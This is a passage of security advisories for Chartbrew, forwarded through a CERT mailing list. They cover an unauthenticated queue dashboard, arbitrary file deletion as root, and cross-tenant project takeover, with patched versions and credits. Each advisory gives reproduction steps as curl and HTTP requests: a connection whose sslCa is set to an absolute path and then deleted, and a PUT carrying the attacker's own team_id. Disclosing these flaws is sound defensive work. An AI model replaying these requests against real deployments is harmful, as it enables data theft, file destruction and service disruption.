token. Step 1: Access the dashboard without authentication Open the following URL in a private browser window: http://:/apps/queues For a local development deployment, the URL may be: http://127.0.0.1:4019/apps/queues The endpoint can also be tested with curl: curl -i http://:/apps/queues Do not provide a JWT token, session cookie, or other authentication credentials. Step 2: Observe the response The server returns the Bull Board HTML interface instead of responding with 401 Unauthorized or 403 Forbidden. The interface displays the configured Chartbrew queues and their job statistics. Step 3: Inspect queue and job information Select one of the displayed queues and inspect an available job. Depending on the queued job type, the interface may expose: Job identifiers Job names and states Input payloads Return values Error messages Stack traces Retry attempts Processing timestamps Team, chart, dashboard, or connection identifiers Internal processing metadata No Chartbrew authentication is required. Step 4: Verify management operations In an isolated test environment, inspect the actions available for queues and jobs. The dashboard may allow an unauthenticated requester to perform operations such as: Retrying a job Deleting a job Pausing or resuming a queue Cleaning completed or failed jobs Emptying a queue Adding or modifying job data These actions should only be tested against disposable queues in a controlled environment. Expected behavior An unauthenticated request should return: 401 Unauthorized An authenticated non-administrator should return: 403 Forbidden Actual behavior The Bull Board administrative interface and its associated API routes are accessible without authentication. Impact This is a missing authentication and authorization vulnerability affecting self-hosted Chartbrew deployments where the backend service or /apps/queues route is network-accessible. An unauthenticated attacker may be able to: Enumerate internal background-processing queues Read job payloads and return values Read application errors and stack traces Obtain internal team, chart, dashboard, and connection identifiers Discover internal processing workflows Retry or delete jobs Pause, resume, clean, or empty queues Interfere with scheduled chart and dashboard updates Cause data-processing inconsistencies Cause denial of service by manipulating queue state The confidentiality impact depends on the information stored in job payloads and logs. The integrity and availability impact depends on the Bull Board operations enabled by the installed version. Suggested weaknesses: CWE-306: Missing Authentication for Critical Function CWE-862: Missing Authorization Severity Critical CVE ID CVE-2026-86005 Weaknesses Weakness CWE-306 Credits @Xzhong6 Xzhong6 Reporter _____________________________________________________________________ Arbitrary file deletion as root via data connection SSL/SSH paths High razvanilin published GHSA-p5h6-f969-jpfv Package chartbrew (npm) Affected versions <= 5.2.2 Patched versions 5.2.3 Description Summary Chartbrew deletes a data connection's certificate files when the connection is removed: removeConnection calls fs.unlink on connection.sslCa, sslCert, sslKey, and sshPrivateKey with no path restriction (server/controllers/ConnectionController.js:159-176). The create and update endpoints set those four columns straight from the request body: sanitizeConnectionWriteData strips only allowPrivateHost and empty ssh secrets, not the path fields (ConnectionController.js:9-22). sslCa, sslCert, and sslKey are plain string columns; sshPrivateKey is an encrypted column that round-trips the attacker's path. The intended flow points these at server-generated files under .connectionFiles/, but nothing enforces that. Any registered user is teamOwner of their own team and holds create and delete on their own connection. The container runs as root. Result: any authenticated user deletes any file on the server by setting an absolute path in a connection's SSL or SSH field and then deleting the connection. Affected chartbrew/chartbrew server, <= v5.2.2 (current latest as of 2026-07-16). Confirmed on master HEAD 7ecc3be. Default self-signup enabled, so any user is teamOwner of their own team with connection create and delete. The container process runs as root (docker image default), so any absolute path is deletable. Root cause removeConnection unconditionally runs fs.unlink on connection.sslCa, sslCert, sslKey, and sshPrivateKey on any connection delete (server/controllers/ConnectionController.js:159-176). sanitizeConnectionWriteData filters only allowPrivateHost and empty ssh secrets, leaving the four path fields mass-assignable from the request body (ConnectionController.js:9-22). sslCa, sslCert, and sslKey are plain STRING columns and sshPrivateKey is an encrypted column whose setter and getter round-trip the raw path, so POST and PUT /team/:team_id/connections store an attacker-chosen absolute path verbatim. POST requires createOwn and DELETE requires deleteOwn, both held by the teamOwner role every self-signup gets on its own team. The container process runs as uid 0, so the unlink targets any file, including /code/.env and application source. Reproduction chartbrew v5.2.2 repo docker-compose, default config. Fresh registered user, teamOwner of team T. Plant a marker to prove deletion, then create a connection whose sslCa points at it. POST /team//connections HTTP/1.1 Authorization: Bearer {"name":"x","type":"mysql","team_id":,"sslCa":"/tmp/marker.txt"} HTTP/1.1 200 OK {"id":,"sslCa":"/tmp/marker.txt", ...} Delete the connection to trigger the unlink. DELETE /team//connections/ HTTP/1.1 Authorization: Bearer HTTP/1.1 200 OK {"removed":true} The file /tmp/marker.txt is gone afterward. The encrypted sshPrivateKey field reaches the same unlink; setting it to an application source path deletes that file. Live-verified: marker files under /tmp and /code/server deleted via HTTP, container uid 0. Impact Arbitrary file deletion as root: integrity and availability compromise. Deletion of /code/.env (encryption key and database credentials) or application source breaks the instance. Lowest legitimate role on default config; duplicateConnection provides a second trigger. Credit Jan Kahmen, turingpoint (jan@turingpoint.de) Severity High 8.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality None Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H CVE ID CVE-2026-85736 Weaknesses Weakness CWE-73 Credits @kah-ja kah-ja Reporter _____________________________________________________________________ Cross-tenant project takeover via body.team_id in /project routes High razvanilin published GHSA-6gv3-8wxh-6vfq Package chartbrew (npm) Affected versions <= 5.2.2 Patched versions 5.2.3 Description Summary Chartbrew authorizes every /project/* route with a shared checkPermissions closure that resolves the caller's team from req.params.team_id || req.body?.team_id (server/api/ProjectRoute.js:45). No project route carries a :team_id URL parameter, so the value comes from the request body. An attacker sets team_id to their own team, where they are teamOwner, the teamOwner/teamAdmin branch grants the action, and the code never checks that the target project belongs to that team. The sink ProjectController.update writes the whole request body via db.Project.update(data,{where:{id}}) with no field allow-list (server/controllers/ProjectController.js:100-114). Every registered user is teamOwner of their own auto-created team on default self-signup. Result: any authenticated user reads, rewrites, re-parents (steals), publicly exposes, strips the password of, or deletes any other tenant's project by sending PUT /project/:id with their own team_id in the body. Affected chartbrew/chartbrew server, <= v5.2.2 (current latest as of 2026-07-16). Confirmed on master HEAD 7ecc3be. Default self-signup enabled (CB_RESTRICT_SIGNUP=0), so any anonymous visitor becomes a low-privilege teamOwner. All /project/* routes share the vulnerable closure: PUT, DELETE, logo, template, variables, snapshot, and share endpoints. Root cause checkPermissions sets const teamId = req.params.team_id || req.body?.team_id (server/api/ProjectRoute.js:45), and no /project/* route defines a :team_id parameter, so the caller controls teamId through the JSON body. getTeamRole(teamId, req.user.id) returns the attacker's teamOwner role in their own team, and the teamOwner/teamAdmin branch calls next() without checking project.team_id === teamId. The sink ProjectController.update(id, data) writes the entire body through db.Project.update(data, {where:{id}}) with no field allow-list (server/controllers/ProjectController.js:100-114). Attacker-controlled columns include team_id (re-parenting equals theft), public, ghost, passwordProtected, password, and headerCode. DELETE /project/:id shares the same closure with the deleteAny action, which teamOwner holds (server/modules/accessControl.js:38), so cross-tenant deletion follows identically. Reproduction chartbrew v5.2.2 repo docker-compose, default config, default roles. Two fresh accounts: attacker A (own team) and victim B (own team) with a private project. Confirm A cannot touch B's project without the body trick. GET /project/ (Bearer A) -> 403 PUT /project/ {"dashboardTitle":"x"} (Bearer A) -> 403 Send the same PUT with A's own team_id in the body. PUT /project/ HTTP/1.1 Authorization: Bearer {"team_id":,"public":true,"passwordProtected":false,"dashboardTitle":"XVERIFY"} HTTP/1.1 200 OK {"id":,"team_id":,"public":true,"passwordProtected":false,"dashboardTitle":"XVERIFY", ...} Confirm the theft. GET /project/ (Bearer A) -> 200 (A now owns it) GET /team (Bearer B) -> project no longer listed Live-verified: attacker re-parents a victim's private project into their own team, gains full read and write, exposes it publicly, strips password protection; the victim loses the project. Impact Cross-tenant read of any project (charts, datasets, queries) by re-parenting then reading. Arbitrary rewrite of any project's settings, including public exposure and password removal. Project theft and, via the shared DELETE route, cross-tenant deletion. Lowest legitimate role on default config, single request, no user interaction. Credit Jan Kahmen, turingpoint (jan@turingpoint.de) Severity High 8.8/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVE ID CVE-2026-85712 Weaknesses Weakness CWE-639 Credits @kah-ja kah-ja Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================